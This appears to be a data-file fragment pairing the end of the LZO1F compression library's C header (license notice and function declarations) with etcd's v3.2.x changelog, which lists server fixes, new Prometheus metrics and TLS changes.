modify it under the terms of the GNU General Public License as\n published by the Free Software Foundation; either version 2 of\n the License, or (at your option) any later version.\n\n The LZO library is distributed in the hope that it will be useful,\n but WITHOUT ANY WARRANTY; without even the implied warranty of\n MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the\n GNU General Public License for more details.\n\n You should have received a copy of the GNU General Public License\n along with the LZO library; see the file COPYING.\n If not, write to the Free Software Foundation, Inc.,\n 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301, USA.\n\n Markus F.X.J. Oberhumer\n \n http://www.oberhumer.com/opensource/lzo/\n */\n\n\n#ifndef __LZO1F_H_INCLUDED\n#define __LZO1F_H_INCLUDED 1\n\n#ifndef __LZOCONF_H_INCLUDED\n#include \n#endif\n\n#ifdef __cplusplus\nextern \"C\" {\n#endif\n\n\n/***********************************************************************\n//\n************************************************************************/\n\n/* Memory required for the wrkmem parameter.\n * When the required size is 0, you can also pass a NULL pointer.\n */\n\n#define LZO1F_MEM_COMPRESS ((lzo_uint32_t) (16384L * lzo_sizeof_dict_t))\n#define LZO1F_MEM_DECOMPRESS (0)\n\n\n/* decompression */\nLZO_EXTERN(int)\nlzo1f_decompress ( const lzo_bytep src, lzo_uint src_len,\n lzo_bytep dst, lzo_uintp dst_len,\n lzo_voidp wrkmem /* NOT USED */ );\n\n/* safe decompression with overrun testing */\nLZO_EXTERN(int)\nlzo1f_decompress_safe ( const lzo_bytep src, lzo_uint src_len,\n lzo_bytep dst, lzo_uintp dst_len,\n lzo_voidp wrkmem /* NOT USED */ );\n\n\n/***********************************************************************\n//\n************************************************************************/\n\nLZO_EXTERN(int)\nlzo1f_1_compress ( const lzo_bytep src, lzo_uint src_len,\n lzo_bytep dst, lzo_uintp dst_len,\n lzo_voidp wrkmem );\n\n\n/***********************************************************************\n// better compression ratio at the cost of more memory and time\n************************************************************************/\n\n#define LZO1F_999_MEM_COMPRESS ((lzo_uint32_t) (5 * 16384L * sizeof(short)))\n\nLZO_EXTERN(int)\nlzo1f_999_compress ( const lzo_bytep src, lzo_uint src_len,\n lzo_bytep dst, lzo_uintp dst_len,\n lzo_voidp wrkmem );\n\n\n\n#ifdef __cplusplus\n} /* extern \"C\" */\n#endif\n\n#endif /* already included */\n\n\n/* vim:set ts=4 sw=4 et: */\n"} +{"text": "\n\nPrevious change logs can be found at [CHANGELOG-3.1](https://github.com/etcd-io/etcd/blob/master/CHANGELOG-3.1.md).\n\n\nThe minimum recommended etcd versions to run in **production** are 3.2.28+, 3.3.18+, and 3.4.2+.\n\n
    \n\n## [v3.2.29](https://github.com/etcd-io/etcd/releases/tag/v3.2.29) (2019-TBD)\n\n### etcd server\n\n- [Fix corruption bug in defrag](https://github.com/etcd-io/etcd/pull/11613).\n\n
    \n\n## [v3.2.28](https://github.com/etcd-io/etcd/releases/tag/v3.2.28) (2019-11-10)\n\n### Improved\n\n- Add `etcd --experimental-peer-skip-client-san-verification` to [skip verification of peer client address](https://github.com/etcd-io/etcd/pull/11195).\n\n### Metrics, Monitoring\n\nSee [List of metrics](https://github.com/etcd-io/etcd/tree/master/Documentation/metrics) for all metrics per release.\n\nNote that any `etcd_debugging_*` metrics are experimental and subject to change.\n\n- Add [`etcd_cluster_version`](https://github.com/etcd-io/etcd/pull/11271) Prometheus metric.\n\n### etcdserver\n\n- Fix [`wait purge file loop during shutdown`](https://github.com/etcd-io/etcd/pull/11308).\n - Previously, during shutdown etcd could accidentally remove needed wal files, resulting in catastrophic error `etcdserver: open wal error: wal: file not found.` during startup.\n - Now, etcd makes sure the purge file loop exits before server signals stop of the raft node.\n\n
    \n\n## [v3.2.27](https://github.com/etcd-io/etcd/releases/tag/v3.2.27) (2019-09-17)\n\n### etcdctl v3\n\n- [Strip out insecure endpoints from DNS SRV records when using discovery](https://github.com/etcd-io/etcd/pull/10443) with etcdctl v2\n- Add [`etcdctl endpoint health --write-out` support](https://github.com/etcd-io/etcd/pull/9540).\n - Previously, [`etcdctl endpoint health --write-out json` did not work](https://github.com/etcd-io/etcd/issues/9532).\n - The command output is changed. Previously, if endpoint is unreachable, the command output is\n \"\\ is unhealthy: failed to connect: \\\". This change unified the error message, all error types\n now have the same output \"\\ is unhealthy: failed to commit proposal: \\\".\n- Fix [`etcdctl snapshot status` to not modify snapshot file](https://github.com/etcd-io/etcd/pull/11157).\n - For example, start etcd `v3.3.10`\n - Write some data\n - Use etcdctl `v3.3.10` to save snapshot\n - Somehow, upgrading Kubernetes fails, thus rolling back to previous version etcd `v3.2.24`\n - Run etcdctl `v3.2.24` `snapshot status` against the snapshot file saved from `v3.3.10` server\n - Run etcdctl `v3.2.24` `snapshot restore` fails with `\"expected sha256 [12...\"`\n\n### Metrics, Monitoring\n\nSee [List of metrics](https://github.com/etcd-io/etcd/tree/master/Documentation/metrics) for all metrics per release.\n\nNote that any `etcd_debugging_*` metrics are experimental and subject to change.\n\n- Fix bug where [db_compaction_total_duration_milliseconds metric incorrectly measured duration as 0](https://github.com/etcd-io/etcd/pull/10646).\n- Add [`etcd_debugging_mvcc_current_revision`](https://github.com/etcd-io/etcd/pull/11126) Prometheus metric.\n- Add [`etcd_debugging_mvcc_compact_revision`](https://github.com/etcd-io/etcd/pull/11126) Prometheus metric.\n\n### Go\n\n- Compile with [*Go 1.8.7*](https://golang.org/doc/devel/release.html#go1.8).\n\n\n
    \n\n\n## [v3.2.26](https://github.com/etcd-io/etcd/releases/tag/v3.2.26) (2019-01-11)\n\nSee [code changes](https://github.com/etcd-io/etcd/compare/v3.2.25...v3.2.26) and [v3.2 upgrade guide](https://github.com/etcd-io/etcd/blob/master/Documentation/upgrades/upgrade_3_3.md) for any breaking changes.\n\n**Again, before running upgrades from any previous release, please make sure to read change logs below and [v3.2 upgrade guide](https://github.com/etcd-io/etcd/blob/master/Documentation/upgrades/upgrade_3_2.md).**\n\n### gRPC Proxy\n\n- Fix [memory leak in cache layer](https://github.com/etcd-io/etcd/pull/10327).\n\n### Security, Authentication\n\n- Disable [CommonName authentication for gRPC-gateway](https://github.com/etcd-io/etcd/pull/10366) gRPC-gateway proxy requests to etcd server use the etcd client server TLS certificate. If that certificate contains CommonName we do not want to use that for authentication as it could lead to permission escalation.\n\n### Go\n\n- Compile with [*Go 1.8.7*](https://golang.org/doc/devel/release.html#go1.8).\n\n\n
    \n\n\n## [v3.2.25](https://github.com/etcd-io/etcd/releases/tag/v3.2.25) (2018-10-10)\n\nSee [code changes](https://github.com/etcd-io/etcd/compare/v3.2.24...v3.2.25) and [v3.2 upgrade guide](https://github.com/etcd-io/etcd/blob/master/Documentation/upgrades/upgrade_3_2.md) for any breaking changes.\n\n**Again, before running upgrades from any previous release, please make sure to read change logs below and [v3.2 upgrade guide](https://github.com/etcd-io/etcd/blob/master/Documentation/upgrades/upgrade_3_2.md).**\n\n### Improved\n\n- Improve [\"became inactive\" warning log](https://github.com/etcd-io/etcd/pull/10024), which indicates message send to a peer failed.\n- Improve [read index wait timeout warning log](https://github.com/etcd-io/etcd/pull/10026), which indicates that local node might have slow network.\n- Add [gRPC interceptor for debugging logs](https://github.com/etcd-io/etcd/pull/9990); enable `etcd --debug` flag to see per-request debug information.\n- Add [consistency check in snapshot status](https://github.com/etcd-io/etcd/pull/10109). If consistency check on snapshot file fails, `snapshot status` returns `\"snapshot file integrity check failed...\"` error.\n\n### Metrics, Monitoring\n\nSee [List of metrics](https://github.com/etcd-io/etcd/tree/master/Documentation/metrics) for all metrics per release.\n\nNote that any `etcd_debugging_*` metrics are experimental and subject to change.\n\n- Improve [`etcd_network_peer_round_trip_time_seconds`](https://github.com/etcd-io/etcd/pull/10155) Prometheus metric to track leader heartbeats.\n - Previously, it only samples the TCP connection for snapshot messages.\n- Display all registered [gRPC metrics at start](https://github.com/etcd-io/etcd/pull/10032).\n- Add [`etcd_snap_db_fsync_duration_seconds_count`](https://github.com/etcd-io/etcd/pull/9997) Prometheus metric.\n- Add [`etcd_snap_db_save_total_duration_seconds_bucket`](https://github.com/etcd-io/etcd/pull/9997) Prometheus metric.\n- Add [`etcd_network_snapshot_send_success`](https://github.com/etcd-io/etcd/pull/9997) Prometheus metric.\n- Add [`etcd_network_snapshot_send_failures`](https://github.com/etcd-io/etcd/pull/9997) Prometheus metric.\n- Add [`etcd_network_snapshot_send_total_duration_seconds`](https://github.com/etcd-io/etcd/pull/9997) Prometheus metric.\n- Add [`etcd_network_snapshot_receive_success`](https://github.com/etcd-io/etcd/pull/9997) Prometheus metric.\n- Add [`etcd_network_snapshot_receive_failures`](https://github.com/etcd-io/etcd/pull/9997) Prometheus metric.\n- Add [`etcd_network_snapshot_receive_total_duration_seconds`](https://github.com/etcd-io/etcd/pull/9997) Prometheus metric.\n- Add [`etcd_server_id`](https://github.com/etcd-io/etcd/pull/9998) Prometheus metric.\n- Add [`etcd_server_health_success`](https://github.com/etcd-io/etcd/pull/10156) Prometheus metric.\n- Add [`etcd_server_health_failures`](https://github.com/etcd-io/etcd/pull/10156) Prometheus metric.\n- Add [`etcd_server_read_indexes_failed_total`](https://github.com/etcd-io/etcd/pull/10094) Prometheus metric.\n\n### client v3\n\n- Fix logic on [release lock key if cancelled](https://github.com/etcd-io/etcd/pull/10153) in `clientv3/concurrency` package.\n\n### Go\n\n- Compile with [*Go 1.8.7*](https://golang.org/doc/devel/release.html#go1.8).\n\n\n
    \n\n\n## [v3.2.24](https://github.com/etcd-io/etcd/releases/tag/v3.2.24) (2018-07-24)\n\nSee [code changes](https://github.com/etcd-io/etcd/compare/v3.2.23...v3.2.24) and [v3.2 upgrade guide](https://github.com/etcd-io/etcd/blob/master/Documentation/upgrades/upgrade_3_2.md) for any breaking changes.\n\n**Again, before running upgrades from any previous release, please make sure to read change logs below and [v3.2 upgrade guide](https://github.com/etcd-io/etcd/blob/master/Documentation/upgrades/upgrade_3_2.md).**\n\n### Improved\n\n- Improve [Raft Read Index timeout warning messages](https://github.com/etcd-io/etcd/pull/9897).\n\n### Metrics, Monitoring\n\nSee [List of metrics](https://github.com/etcd-io/etcd/tree/master/Documentation/metrics) for all metrics per release.\n\nNote that any `etcd_debugging_*` metrics are experimental and subject to change.\n\n- Add [`etcd_server_go_version`](https://github.com/etcd-io/etcd/pull/9957) Prometheus metric.\n- Add [`etcd_server_heartbeat_send_failures_total`](https://github.com/etcd-io/etcd/pull/9942) Prometheus metric.\n- Add [`etcd_server_slow_apply_total`](https://github.com/etcd-io/etcd/pull/9942) Prometheus metric.\n- Add [`etcd_disk_backend_defrag_duration_seconds`](https://github.com/etcd-io/etcd/pull/9942) Prometheus metric.\n- Add [`etcd_mvcc_hash_duration_seconds`](https://github.com/etcd-io/etcd/pull/9942) Prometheus metric.\n- Add [`etcd_server_slow_read_indexes_total`](https://github.com/etcd-io/etcd/pull/9897) Prometheus metric.\n- Add [`etcd_server_quota_backend_bytes`](https://github.com/etcd-io/etcd/pull/9820) Prometheus metric.\n - Use it with `etcd_mvcc_db_total_size_in_bytes` and `etcd_mvcc_db_total_size_in_use_in_bytes`.\n - `etcd_server_quota_backend_bytes 2.147483648e+09` means current quota size is 2 GB.\n - `etcd_mvcc_db_total_size_in_bytes 20480` means current physically allocated DB size is 20 KB.\n - `etcd_mvcc_db_total_size_in_use_in_bytes 16384` means future DB size if defragment operation is complete.\n - `etcd_mvcc_db_total_size_in_bytes - etcd_mvcc_db_total_size_in_use_in_bytes` is the number of bytes that can be saved on disk with defragment operation.\n- Add [`etcd_mvcc_db_total_size_in_bytes`](https://github.com/etcd-io/etcd/pull/9819) Prometheus metric.\n - In addition to [`etcd_debugging_mvcc_db_total_size_in_bytes`](https://github.com/etcd-io/etcd/pull/9819).\n- Add [`etcd_mvcc_db_total_size_in_use_in_bytes`](https://github.com/etcd-io/etcd/pull/9256) Prometheus metric.\n - Use it with `etcd_mvcc_db_total_size_in_bytes` and `etcd_server_quota_backend_bytes`.\n - `etcd_server_quota_backend_bytes 2.147483648e+09` means current quota size is 2 GB.\n - `etcd_mvcc_db_total_size_in_bytes 20480` means current physically allocated DB size is 20 KB.\n - `etcd_mvcc_db_total_size_in_use_in_bytes 16384` means future DB size if defragment operation is complete.\n - `etcd_mvcc_db_total_size_in_bytes - etcd_mvcc_db_total_size_in_use_in_bytes` is the number of bytes that can be saved on disk with defragment operation.\n\n### gRPC Proxy\n\n- Add [flags for specifying TLS for connecting to proxy](https://github.com/etcd-io/etcd/pull/9894):\n - Add `grpc-proxy start --cert-file`, `grpc-proxy start --key-file` and `grpc-proxy start --trusted-ca-file` flags.\n- Add [`grpc-proxy start --metrics-addr` flag for specifying a separate metrics listen address](https://github.com/etcd-io/etcd/pull/9894).\n\n### client v3\n\n- Fix [lease keepalive interval updates when response queue is full](https://github.com/etcd-io/etcd/pull/9952).\n - If `<-chan *clientv3LeaseKeepAliveResponse` from `clientv3.Lease.KeepAlive` was never consumed or channel is full, client was [sending keepalive request every 500ms](https://github.com/etcd-io/etcd/issues/9911) instead of expected rate of every \"TTL / 3\" duration.\n\n### Go\n\n- Compile with [*Go 1.8.7*](https://golang.org/doc/devel/release.html#go1.8).\n\n\n
    \n\n\n## [v3.2.23](https://github.com/etcd-io/etcd/releases/tag/v3.2.23) (2018-06-15)\n\nSee [code changes](https://github.com/etcd-io/etcd/compare/v3.2.22...v3.2.23) and [v3.2 upgrade guide](https://github.com/etcd-io/etcd/blob/master/Documentation/upgrades/upgrade_3_2.md) for any breaking changes.\n\n**Again, before running upgrades from any previous release, please make sure to read change logs below and [v3.2 upgrade guide](https://github.com/etcd-io/etcd/blob/master/Documentation/upgrades/upgrade_3_2.md).**\n\n### Improved\n\n- Improve [slow request apply warning log](https://github.com/etcd-io/etcd/pull/9288).\n - e.g. `read-only range request \"key:\\\"/a\\\" range_end:\\\"/b\\\" \" with result \"range_response_count:3 size:96\" took too long (97.966µs) to execute`.\n - Redact [request value field](https://github.com/etcd-io/etcd/pull/9822).\n - Provide [response size](https://github.com/etcd-io/etcd/pull/9826).\n- Add [backoff on watch retries on transient errors](https://github.com/etcd-io/etcd/pull/9840).\n\n### Metrics, Monitoring\n\nSee [List of metrics](https://github.com/etcd-io/etcd/tree/master/Documentation/metrics) for all metrics per release.\n\nNote that any `etcd_debugging_*` metrics are experimental and subject to change.\n\n- Add [`etcd_server_version`](https://github.com/etcd-io/etcd/pull/8960) Prometheus metric.\n - To replace [Kubernetes `etcd-version-monitor`](https://github.com/etcd-io/etcd/issues/8948).\n\n### Go\n\n- Compile with [*Go 1.8.7*](https://golang.org/doc/devel/release.html#go1.8).\n\n\n
    \n\n\n## [v3.2.22](https://github.com/etcd-io/etcd/releases/tag/v3.2.22) (2018-06-06)\n\nSee [code changes](https://github.com/etcd-io/etcd/compare/v3.2.21...v3.2.22) and [v3.2 upgrade guide](https://github.com/etcd-io/etcd/blob/master/Documentation/upgrades/upgrade_3_2.md) for any breaking changes.\n\n**Again, before running upgrades from any previous release, please make sure to read change logs below and [v3.2 upgrade guide](https://github.com/etcd-io/etcd/blob/master/Documentation/upgrades/upgrade_3_2.md).**\n\n### Security, Authentication\n\n- Support TLS cipher suite whitelisting.\n - To block [weak cipher suites](https://github.com/etcd-io/etcd/issues/8320).\n - TLS handshake fails when client hello is requested with invalid cipher suites.\n - Add [`etcd --cipher-suites`](https://github.com/etcd-io/etcd/pull/9801) flag.\n - If empty, Go auto-populates the list.\n\n### Go\n\n- Compile with [*Go 1.8.7*](https://golang.org/doc/devel/release.html#go1.8).\n\n\n
    \n\n\n## [v3.2.21](https://github.com/etcd-io/etcd/releases/tag/v3.2.21) (2018-05-31)\n\nSee [code changes](https://github.com/etcd-io/etcd/compare/v3.2.20...v3.2.21) and [v3.2 upgrade guide](https://github.com/etcd-io/etcd/blob/master/Documentation/upgrades/upgrade_3_2.md) for any breaking changes.\n\n**Again, before running upgrades from any previous release, please make sure to read change logs below and [v3.2 upgrade guide](https://github.com/etcd-io/etcd/blob/master/Documentation/upgrades/upgrade_3_2.md).**\n\n### etcd server\n\n- Fix [auth storage panic when simple token provider is disabled](https://github.com/etcd-io/etcd/pull/8695).\n- Fix [`mvcc` server panic from restore operation](https://github.com/etcd-io/etcd/pull/9775).\n - Let's assume that a watcher had been requested with a future revision X and sent to node A that became network-partitioned thereafter. Meanwhile, cluster makes progress. Then when the partition gets removed, the leader sends a snapshot to node A. Previously if the snapshot's latest revision is still lower than the watch revision X, **etcd server panicked** during snapshot restore operation.\n - Now, this server-side panic has been fixed.\n\n### Go\n\n- Compile with [*Go 1.8.7*](https://golang.org/doc/devel/release.html#go1.8).\n\n\n
    \n\n\n## [v3.2.20](https://github.com/etcd-io/etcd/releases/tag/v3.2.20) (2018-05-09)\n\nSee [code changes](https://github.com/etcd-io/etcd/compare/v3.2.19...v3.2.20) and [v3.2 upgrade guide](https://github.com/etcd-io/etcd/blob/master/Documentation/upgrades/upgrade_3_2.md) for any breaking changes.\n\n**Again, before running upgrades from any previous release, please make sure to read change logs below and [v3.2 upgrade guide](https://github.com/etcd-io/etcd/blob/master/Documentation/upgrades/upgrade_3_2.md).**\n\n### etcd server\n\n- Purge old [`*.snap.db` snapshot files](https://github.com/etcd-io/etcd/pull/7967).\n - Previously, etcd did not respect `--max-snapshots` flag to purge old `*.snap.db` files.\n - Now, etcd purges old `*.snap.db` files to keep maximum `--max-snapshots` number of files on disk.\n\n### Go\n\n- Compile with [*Go 1.8.7*](https://golang.org/doc/devel/release.html#go1.8).\n\n\n
    \n\n\n## [v3.2.19](https://github.com/etcd-io/etcd/releases/tag/v3.2.19) (2018-04-24)\n\nSee [code changes](https://github.com/etcd-io/etcd/compare/v3.2.18...v3.2.19) and [v3.2 upgrade guide](https://github.com/etcd-io/etcd/blob/master/Documentation/upgrades/upgrade_3_2.md) for any breaking changes.\n\n**Again, before running upgrades from any previous release, please make sure to read change logs below and [v3.2 upgrade guide](https://github.com/etcd-io/etcd/blob/master/Documentation/upgrades/upgrade_3_2.md).**\n\n### Metrics, Monitoring\n\nSee [List of metrics](https://github.com/etcd-io/etcd/tree/master/Documentation/metrics) for all metrics per release.\n\nNote that any `etcd_debugging_*` metrics are experimental and subject to change.\n\n- Fix [`etcd_debugging_server_lease_expired_total`](https://github.com/etcd-io/etcd/pull/9557) Prometheus metric.\n- Fix [race conditions in v2 server stat collecting](https://github.com/etcd-io/etcd/pull/9562).\n- Add [`etcd_server_is_leader`](https://github.com/etcd-io/etcd/pull/9587) Prometheus metric.\n\n### Security, Authentication\n\n- Fix [TLS reload](https://github.com/etcd-io/etcd/pull/9570) when [certificate SAN field only includes IP addresses but no domain names](https://github.com/etcd-io/etcd/issues/9541).\n - In Go, server calls `(*tls.Config).GetCertificate` for TLS reload if and only if server's `(*tls.Config).Certificates` field is not empty, or `(*tls.ClientHelloInfo).ServerName` is not empty with a valid SNI from the client. Previously, etcd always populates `(*tls.Config).Certificates` on the initial client TLS handshake, as non-empty. Thus, client was always expected to supply a matching SNI in order to pass the TLS verification and to trigger `(*tls.Config).GetCertificate` to reload TLS assets.\n - However, a certificate whose SAN field does [not include any domain names but only IP addresses](https://github.com/etcd-io/etcd/issues/9541) would request `*tls.ClientHelloInfo` with an empty `ServerName` field, thus failing to trigger the TLS reload on initial TLS handshake; this becomes a problem when expired certificates need to be replaced online.\n - Now, `(*tls.Config).Certificates` is created empty on initial TLS client handshake, first to trigger `(*tls.Config).GetCertificate`, and then to populate rest of the certificates on every new TLS connection, even when client SNI is empty (e.g. cert only includes IPs).\n\n### etcd server\n\n- Add [`etcd --initial-election-tick-advance`](https://github.com/etcd-io/etcd/pull/9591) flag to configure initial election tick fast-forward.\n - By default, `etcd --initial-election-tick-advance=true`, then local member fast-forwards election ticks to speed up \"initial\" leader election trigger.\n - This benefits the case of larger election ticks. For instance, cross datacenter deployment may require longer election timeout of 10-second. If true, local node does not need wait up to 10-second. Instead, forwards its election ticks to 8-second, and have only 2-second left before leader election.\n - Major assumptions are that: cluster has no active leader thus advancing ticks enables faster leader election. Or cluster already has an established leader, and rejoining follower is likely to receive heartbeats from the leader after tick advance and before election timeout.\n - However, when network from leader to rejoining follower is congested, and the follower does not receive leader heartbeat within left election ticks, disruptive election has to happen thus affecting cluster availabilities.\n - Now, this can be disabled by setting `--initial-election-tick-advance=false`.\n - Disabling this would slow down initial bootstrap process for cross datacenter deployments. Make tradeoffs by configuring `--initial-election-tick-advance` at the cost of slow initial bootstrap.\n - If single-node, it advances ticks regardless.\n - Address [disruptive rejoining follower node](https://github.com/etcd-io/etcd/issues/9333).\n\n### Go\n\n- Compile with [*Go 1.8.7*](https://golang.org/doc/devel/release.html#go1.8).\n\n\n
    \n\n\n## [v3.2.18](https://github.com/etcd-io/etcd/releases/tag/v3.2.18) (2018-03-29)\n\nSee [code changes](https://github.com/etcd-io/etcd/compare/v3.2.17...v3.2.18) and [v3.2 upgrade guide](https://github.com/etcd-io/etcd/blob/master/Documentation/upgrades/upgrade_3_2.md) for any breaking changes.\n\n**Again, before running upgrades from any previous release, please make sure to read change logs below and [v3.2 upgrade guide](https://github.com/etcd-io/etcd/blob/master/Documentation/upgrades/upgrade_3_2.md).**\n\n### Improved\n\n- Adjust [election timeout on server restart](https://github.com/etcd-io/etcd/pull/9415) to reduce [disruptive rejoining servers](https://github.com/etcd-io/etcd/issues/9333).\n - Previously, etcd fast-forwards election ticks on server start, with only one tick left for leader election. This is to speed up start phase, without having to wait until all election ticks elapse. Advancing election ticks is useful for cross datacenter deployments with larger election timeouts. However, it was affecting cluster availability if the last tick elapses before leader contacts the restarted node.\n - Now, when etcd restarts, it adjusts election ticks with more than one tick left, thus more time for leader to prevent disruptive restart.\n\n### Metrics, Monitoring\n\nSee [List of metrics](https://github.com/etcd-io/etcd/tree/master/Documentation/metrics) for all metrics per release.\n\nNote that any `etcd_debugging_*` metrics are experimental and subject to change.\n\n- Add missing [`etcd_network_peer_sent_failures_total` count](https://github.com/etcd-io/etcd/pull/9437).\n\n### Go\n\n- Compile with [*Go 1.8.7*](https://golang.org/doc/devel/release.html#go1.8).\n\n\n
    \n\n\n## [v3.2.17](https://github.com/etcd-io/etcd/releases/tag/v3.2.17) (2018-03-08)\n\nSee [code changes](https://github.com/etcd-io/etcd/compare/v3.2.16...v3.2.17) and [v3.2 upgrade guide](https://github.com/etcd-io/etcd/blob/master/Documentation/upgrades/upgrade_3_2.md) for any breaking changes.\n\n**Again, before running upgrades from any previous release, please make sure to read change logs below and [v3.2 upgrade guide](https://github.com/etcd-io/etcd/blob/master/Documentation/upgrades/upgrade_3_2.md).**\n\n### etcd server\n\n- Fix [server panic on invalid Election Proclaim/Resign HTTP(S) requests](https://github.com/etcd-io/etcd/pull/9379).\n - Previously, wrong-formatted HTTP requests to Election API could trigger panic in etcd server.\n - e.g. `curl -L http://localhost:2379/v3/election/proclaim -X POST -d '{\"value\":\"\"}'`, `curl -L http://localhost:2379/v3/election/resign -X POST -d '{\"value\":\"\"}'`.\n- Prevent [overflow by large `TTL` values for `Lease` `Grant`](https://github.com/etcd-io/etcd/pull/9399).\n - `TTL` parameter to `Grant` request is unit of second.\n - Leases with too large `TTL` values exceeding `math.MaxInt64` [expire in unexpected ways](https://github.com/etcd-io/etcd/issues/9374).\n - Server now returns `rpctypes.ErrLeaseTTLTooLarge` to client, when the requested `TTL` is larger than *9,000,000,000 seconds* (which is >285 years).\n - Again, etcd `Lease` is meant for short-periodic keepalives or sessions, in the range of seconds or minutes. Not for hours or days!\n- Enable etcd server [`raft.Config.CheckQuorum` when starting with `ForceNewCluster`](https://github.com/etcd-io/etcd/pull/9347).\n\n### Proxy v2\n\n- Fix [v2 proxy leaky HTTP requests](https://github.com/etcd-io/etcd/pull/9336).\n\n### Go\n\n- Compile with [*Go 1.8.7*](https://golang.org/doc/devel/release.html#go1.8).\n\n\n
    \n\n\n## [v3.2.16](https://github.com/etcd-io/etcd/releases/tag/v3.2.16) (2018-02-12)\n\nSee [code changes](https://github.com/etcd-io/etcd/compare/v3.2.15...v3.2.16) and [v3.2 upgrade guide](https://github.com/etcd-io/etcd/blob/master/Documentation/upgrades/upgrade_3_2.md) for any breaking changes.\n\n**Again, before running upgrades from any previous release, please make sure to read change logs below and [v3.2 upgrade guide](https://github.com/etcd-io/etcd/blob/master/Documentation/upgrades/upgrade_3_2.md).**\n\n### etcd server\n\n- Fix [`mvcc` \"unsynced\" watcher restore operation](https://github.com/etcd-io/etcd/pull/9297).\n - \"unsynced\" watcher is watcher that needs to be in sync with events that have happened.\n - That is, \"unsynced\" watcher is the slow watcher that was requested on old revision.\n - \"unsynced\" watcher restore operation was not correctly populating its underlying watcher group.\n - Which possibly causes [missing events from \"unsynced\" watchers](https://github.com/etcd-io/etcd/issues/9086).\n - A node gets network partitioned with a watcher on a future revision, and falls behind receiving a leader snapshot after partition gets removed. When applying this snapshot, etcd watch storage moves current synced watchers to unsynced since sync watchers might have become stale during network partition. And reset synced watcher group to restart watcher routines. Previously, there was a bug when moving from synced watcher group to unsynced, thus client would miss events when the watcher was requested to the network-partitioned node.\n\n### Go\n\n- Compile with [*Go 1.8.5*](https://golang.org/doc/devel/release.html#go1.8).\n\n\n
    \n\n\n## [v3.2.15](https://github.com/etcd-io/etcd/releases/tag/v3.2.15) (2018-01-22)\n\nSee [code changes](https://github.com/etcd-io/etcd/compare/v3.2.14...v3.2.15) and [v3.2 upgrade guide](https://github.com/etcd-io/etcd/blob/master/Documentation/upgrades/upgrade_3_2.md) for any breaking changes.\n\n**Again, before running upgrades from any previous release, please make sure to read change logs below and [v3.2 upgrade guide](https://github.com/etcd-io/etcd/blob/master/Documentation/upgrades/upgrade_3_2.md).**\n\n### etcd server\n\n- Prevent [server panic from member update/add](https://github.com/etcd-io/etcd/pull/9174) with [wrong scheme URLs](https://github.com/etcd-io/etcd/issues/9173).\n- Log [user context cancel errors on stream APIs in debug level with TLS](https://github.com/etcd-io/etcd/pull/9178).\n\n### Go\n\n- Compile with [*Go 1.8.5*](https://golang.org/doc/devel/release.html#go1.8).\n\n\n
    \n\n\n## [v3.2.14](https://github.com/etcd-io/etcd/releases/tag/v3.2.14) (2018-01-11)\n\nSee [code changes](https://github.com/etcd-io/etcd/compare/v3.2.13...v3.2.14) and [v3.2 upgrade guide](https://github.com/etcd-io/etcd/blob/master/Documentation/upgrades/upgrade_3_2.md) for any breaking changes.\n\n**Again, before running upgrades from any previous release, please make sure to read change logs below and [v3.2 upgrade guide](https://github.com/etcd-io/etcd/blob/master/Documentation/upgrades/upgrade_3_2.md).**\n\n### Improved\n\n- Log [user context cancel errors on stream APIs in debug level](https://github.com/etcd-io/etcd/pull/9105).\n\n### etcd server\n\n- Fix [`mvcc/backend.defragdb` nil-pointer dereference on create bucket failure](https://github.com/etcd-io/etcd/pull/9119).\n\n### Go\n\n- Compile with [*Go 1.8.5*](https://golang.org/doc/devel/release.html#go1.8).\n\n\n
    \n\n\n## [v3.2.13](https://github.com/etcd-io/etcd/releases/tag/v3.2.13) (2018-01-02)\n\nSee [code changes](https://github.com/etcd-io/etcd/compare/v3.2.12...v3.2.13) and [v3.2 upgrade guide](https://github.com/etcd-io/etcd/blob/master/Documentation/upgrades/upgrade_3_2.md) for any breaking changes.\n\n**Again, before running upgrades from any previous release, please make sure to read change logs below and [v3.2 upgrade guide](https://github.com/etcd-io/etcd/blob/master/Documentation/upgrades/upgrade_3_2.md).**\n\n### etcd server\n\n- Remove [verbose error messages on stream cancel and gRPC info-level logs](https://github.com/etcd-io/etcd/pull/9080) in server-side.\n- Fix [gRPC server panic on `GracefulStop` TLS-enabled server](https://github.com/etcd-io/etcd/pull/8987).\n\n### Go\n\n- Compile with [*Go 1.8.5*](https://golang.org/doc/devel/release.html#go1.8).\n\n\n
    \n\n\n## [v3.2.12](https://github.com/etcd-io/etcd/releases/tag/v3.2.12) (2017-12-20)\n\nSee [code changes](https://github.com/etcd-io/etcd/compare/v3.2.11...v3.2.12) and [v3.2 upgrade guide](https://github.com/etcd-io/etcd/blob/master/Documentation/upgrades/upgrade_3_2.md) for any breaking changes.\n\n**Again, before running upgrades from any previous release, please make sure to read change logs below and [v3.2 upgrade guide](https://github.com/etcd-io/etcd/blob/master/Documentation/upgrades/upgrade_3_2.md).**\n\n### Dependency\n\n- Upgrade [`google.golang.org/grpc`](https://github.com/grpc/grpc-go/releases/tag) from [**`v1.7.4`**](https://github.com/grpc/grpc-go/releases/tag/v1.7.4) to [**`v1.7.5`**](https://github.com/grpc/grpc-go/releases/tag/v1.7.5).\n- Upgrade [`github.com/grpc-ecosystem/grpc-gateway`](https://github.com/grpc-ecosystem/grpc-gateway/releases) from [**`v1.3`**](https://github.com/grpc-ecosystem/grpc-gateway/releases/tag/v1.3) to [**`v1.3.0`**](https://github.com/grpc-ecosystem/grpc-gateway/releases/tag/v1.3.0).\n\n### etcd server\n\n- Fix [error message of `Revision` compactor](https://github.com/etcd-io/etcd/pull/8999) in server-side.\n\n### client v3\n\n- Add [`MaxCallSendMsgSize` and `MaxCallRecvMsgSize`](https://github.com/etcd-io/etcd/pull/9047) fields to [`clientv3.Config`](https://godoc.org/github.com/etcd-io/etcd/clientv3#Config).\n - Fix [exceeded response size limit error in client-side](https://github.com/etcd-io/etcd/issues/9043).\n - Address [kubernetes#51099](https://github.com/kubernetes/kubernetes/issues/51099).\n - In previous versions(v3.2.10, v3.2.11), client response size was limited to only 4 MiB.\n - `MaxCallSendMsgSize` default value is 2 MiB, if not configured.\n - `MaxCallRecvMsgSize` default value is `math.MaxInt32`, if not configured.\n\n### Go\n\n- Compile with [*Go 1.8.5*](https://golang.org/doc/devel/release.html#go1.8).\n\n\n
